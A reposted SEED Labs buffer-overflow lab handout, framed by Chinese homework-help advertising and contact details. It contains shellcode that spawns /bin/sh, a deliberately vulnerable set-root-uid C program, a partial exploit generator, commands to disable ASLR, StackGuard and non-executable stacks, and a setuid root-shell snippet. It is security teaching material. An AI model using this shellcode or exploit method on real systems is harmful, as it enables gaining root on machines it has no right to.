SEED Labs程序 写作、 辅导C++编程语言程序

” SEED Labs程序 写作、 辅导C++编程语言程序SEED Labs Buffer Overflow Vulnerability Lab 1Buffer Overflow Vulnerability LabThe development of this document is/was funded by three grants from the US National Science Foundation:Awards No. 0231122 and 0618680 from TUES/CCLI and Award No. 1017771 from Trustworthy Computing.Permission is granted to copy, distribute and/or modify this document under the terms of the GNU FreeDocumentation License, Version 1.2 or any later version published by the Free Software Foundation. A copyof the license can be found at https://www.gnu.org/licenses/fdl.html.1 Lab OverviewThe learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerabilityby putting what they have learned about the vulnerability from class into action. Buffer overflow isdefined as the condition in which a Program attempts to write data beyond the boundaries of pre-allocatedfixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of theprogram, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storagefor data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part canaffect the control flow of The program, because an overflow can change the return address.In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to developa scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, studentswill be guided to walk through several protection schemes that have been implemented in the operatingsystem to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes workor not and explain why.2 Lab Tasks2.1 Initial setupSEED Labs作业 写作、 辅导C++编程语言作业You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linuxdistributions have implemented several security mechanisms to make the buffer-overflow attack difficult. Tosimply our attacks, we need to disable them first.Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomizationto randomize the starting address of heap and stack. This makes guessing the exact addressesdifficult; guessing Addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disablethese features using the following commands:$ su rootPassword: (enter root password)#sysctl -w kernel.randomize_va_space=0The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. Youcan disable this protection if you compile the program using the -fno-stack-protector switch. For example,to compile a program example.c with Stack Guard disabled, you may use the following command:$ gcc -fno-stack-protector example.cSEED Labs Buffer Overflow Vulnerability Lab 2Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binaryimages of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decidewhether to make the stack of this running program executable or non-executable. This marking is doneautomatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To changethat, use the following option when compiling programs:For executable stack:$ gcc -z execstack -o test test.cFor non-executable stack:$ gcc -z noexecstack -o test test.c2.2 ShellcodeBefore you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to beloaded into the memory so that We can force the vulnerable program to jump to it. Consider the followingprogram:#include stdio.hint main( ) {char *name[2];name[0] = /bin/sh;name[1] = NULL;execve(name[0], name, NULL);}The shellcode that we use is just the assembly version of the above program. The following programshows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run thefollowing code, and see whether a shell is invoked./* call_shellcode.c *//*A program that creates a File containing code for launching shell*/#include stdlib.h#include stdio.h#include string.hconst char code[] =\x31\xc0 /* Line 1: xorl %eax,%eax */\x50 /* Line 2: pushl %eax */\x68//sh /* Line 3: pushl $0x68732f2f */\x68/bin /* Line 4: pushl $0x6e69622f */\x89\xe3 /* Line 5: movl %esp,%ebx */\x50 /* Line 6: pushl %eax */\x53 /* Line 7: pushl %ebx */SEED Labs Buffer Overflow Vulnerability Lab 3\x89\xe1 /* Line 8: movl %esp,%ecx */\x99 /* Line 9: cdq */\xb0\x0b /* Line 10: movb $0x0b,%al */\xcd\x80 /* Line 11: int $0x80 */;int main(int argc, char **argv){char buf[sizeof(code)];strcpy(buf, code);((void(*)( ))buf)( );}Please use the following command to compile the code (dont forget the execstack option):$ gcc -z execstack -o call_shellcode call_shellcode.cA few places in this shellcode are worth mentioning. First, the third instruction pushes //sh, ratherthan /sh into the stack. This is because we need a 32-bit number here, and /sh has only 24 bits. Fortunately,// is equivalent to /, so we can get away with a double slash symbol. Second, before calling theexecve() system call, we need to store name[0] (the address of the string), name (the address of thearray), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.,xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) ofthe value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basicallysetting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute int$0x80.2.3 The Vulnerable Program/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include stdlib.h#include stdio.h#include string.hint bof(char *str){char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}SEED Labs Buffer Overflow Vulnerability Lab 4int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen(badfile, r);fread(str, sizeof(char), 517, badfile);bof(str);printf(Returned Properly\n);return 1;}Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling itin the root account, and chmod the executable to 4755 (dont forget to include the execstack and-fno-stack-protector options to turn off the non-executable stack and StackGuard protections):$ su rootPassword (enter root password)# gcc -o stack -z execstack -fno-stack-protector stack.c# chmod 4755 stack# exitThe above program has a buffer overflow vulnerability. It first reads an input from a file called badfile,and then passes this input to another buffer in the function bof(). The original input can have a maximumlength of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not checkboundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user canexploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should benoted that the program gets its input from a file called badfile. This file is under users control. Now, ourobjective is to create the contents for badfile, such that when the vulnerable program copies the contentsinto its buffer, a root shell can be spawned.For Instructor: To test whether students really know how to conduct the attack, during the demo time,ask students to change the buffer size from 12 to another number in the vulnerable program stack.c. Ifstudents really know the attack, they should be able to modify their attacking code and successfully launchthe attack.2.4 Task 1: Exploiting the VulnerabilityWe provide you with a partially completed exploit code called exploit.c. The goal of this code is toconstruct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest./* exploit.c *//* A program that creates a file containing code for launching shell*/#include stdlib.h#include stdio.h#include string.hchar shellcode[]=SEED Labs Buffer Overflow Vulnerability Lab 5\x31\xc0 /* xorl %eax,%eax */\x50 /* pushl %eax */\x68//sh /* pushl $0x68732f2f */\x68/bin /* pushl $0x6e69622f */\x89\xe3 /* movl %esp,%ebx */\x50 /* pushl %eax */\x53 /* pushl %ebx */\x89\xe1 /* movl %esp,%ecx */\x99 /* cdq */\xb0\x0b /* movb $0x0b,%al */\xcd\x80 /* int $0x80 */;void main(int argc, char **argv){char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here *//* Save the contents to the file badfile */badfile = fopen(./badfile, w);fwrite(buffer, 517, 1, badfile);fclose(badfile);}After you finish the above program, compile and run it. This will generate the contents for badfile.Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able toget a root shell:Important: Please compile your vulnerable program first. Please note that the program exploit.c, whichgenerates the bad file, can be compiled with the default Stack Guard protection enabled. This is because weare not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which iscompiled with the Stack Guard protection disabled.$ gcc -o exploit exploit.c$./exploit // create the badfile$./stack // launch the attack by running the vulnerable program# —- Bingo! Youve got a root shell!It should be noted that although you have obtained the # prompt, your real user id is still yourself (theeffective user id is now root). You can check this by typing the following:# iduid=(500) euid=0(root)SEED Labs Buffer Overflow Vulnerability Lab 6Many commands will behave differently if they are executed as Set-UID root processes, instead ofjust as root processes, because they recognize that the real user id is not root. To solve this problem,you can run the following program to turn the real user id to root. This way, you will have a real rootprocess, which is more powerful.void main(){setuid(0); system(/bin/sh);}2.5 Task 2: Address RandomizationNow, we turn on the Ubuntus address randomization. We run the same attack developed in Task 1. Canyou get a shell? If not, what is the problem? How does the address randomization make your attacksdifficult? You should describe your observation and explanation in your lab report. You can use the followinginstructions to turn on the address randomization:$ su rootPassword: (enter root password)# /sbin/sysctl -w kernel.randomize_va_space=2If running the vulnerable code once does not get you the root shell, how about running it for manytimes? You can run ./stack in the following loop , and see what will happen. If your exploit programis designed properly, you should be able to get the root shell after a while. You can modify your exploitprogram to increase the probability of success (i.e., reduce the time that you have to wait).$ sh -c while [ 1 ]; do ./stack; done;2.6 Task 3: Stack GuardBefore working on this task, remember to turn off the address randomization first, or you will not knowwhich protection helps achieve the protection.In our previous tasks, we disabled the Stack Guard protection mechanism in GCC when compiling theprograms. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, youshould compile the program without the -fno-stack-protector option. For this task, you will recompile thevulnerable program, stack.c, to use GCCs Stack Guard, execute task 1 again, and report your observations.You may report any error messages you observe.In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disableStack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use aolder GCC version, you may not have to disable Stack Guard.2.7 Task 4: Non-executable StackBefore working on this task, remember to turn off the address randomization first, or you will not knowwhich protection helps achieve the protection.In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerableprogram using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, whatis the problem? How does this protection scheme make your attacks difficult. You should describe yourobservation and explanation in your lab report. You can use the following instructions to turn on the nonexecutablestack protection.SEED Labs Buffer Overflow Vulnerability Lab 7# gcc -o stack -fno-stack-protector -z noexecstack stack.cIt should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but itdoes not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploitinga buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a seperate lab forthat attack. If you are interested, please see our Return-to-Libc Attack Lab for details.If you are using our Ubuntu 12.04 VM, whether the non-executable stack protection works or not dependson the CPU and the setting of your virtual machine, because this protection depends on the hardwarefeature that is provided by CPU. If you find that the non-executable stack protection does not work, checkour document (Notes on Non-Executable Stack) that is linked to the labs web page, and see whether theinstruction in the document can help solve your problem. If not, then you may need to figure out the problemyourself.3 GuidelinesWe can load the shellcode into badfile, but it will not be executed because our instruction pointer will notbe pointing to it. One thing we can do is to change the return address to point to the shellcode. But we havetwo problems: (1) we do not know where the return address is stored, and (2) we do not know where theshellcode is stored. To answer these questions, we need to understand the stack layout the execution entersa function. The following figure gives an example.str (a pointer to a string)Return AddressPrevious Frame Pointer (FP)buffer[0] buffer[11]variable_avoid func (char *str) {char buffer[12];int variable_a;strcpy (buffer, str);}Int main() {char *str = I am greater than 12 bytes;func (str);}Current FrameCurrent FP(a) A code example (b) Active Stack Frame in func()High AddressLow AddressFinding the address of the memory that stores the return address. From the figure, we know, if wecan find out the address of buffer[] array, we can calculate where the return address is stored. Sincethe vulnerable program is a Set-UID program, you can make a copy of this program, and run it with yourown privilege; this way you can debug the program (note that you cannot debug a Set-UID program).In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of themalicious code. You can even modify the copied program, and ask the program to directly print out theaddress of buffer[]. The address of buffer[] may be slightly different when you run the Set-UIDcopy, instead of of your copy, but you should be quite close.If the target program is running remotely, and you may not be able to rely on the debugger to find outthe address. However, you can always guess. The following facts make guessing a quite feasible approach: Stack usually starts at the same address.SEED Labs Buffer Overflow Vulnerability Lab 8 Stack is usually not very deep: most programs do not push more than a few hundred or a few thousandbytes into the stack at any one time. Therefore the range of addresses that we need to guess is actually quite small.Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],you should be able to accurately calcuate the starting point of the malicious code. Even if you cannot accuratelycalculate the address (for example, for remote programs), you can still guess. To improve the chanceof success, we can add a number of NOPs to the beginning of the malcious code; therefore, if we can jumpto any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.buffer [0] … buffer [11]Previous FPReturn AddressstrMalicious Codebuffer [0] … buffer [11]Previous FPReturn AddressstrMalicious CodeNOPNOPNOP (many NOPs)(a) Jump to the malicious code (b) Improve the chance Stacks growing directionStoring an long integer in a buffer: In your exploit program, you might need to store an long integer (4bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actuallyoccupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of differenttypes, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,and then assign the integer. The following code shows how to assign an long integer to a buffer starting atbuffer[i]:char buffer[20];long addr = 0xFFEEDD88;long *ptr = (long *) (buffer + i);*ptr = addr;References[1] Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at https://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html如有需要,请加QQ:99515681 或邮箱:99515681@qq.com

添加老师微信回复‘’官网 辅导‘’获取专业老师帮助,或点击联系老师1对1在线指导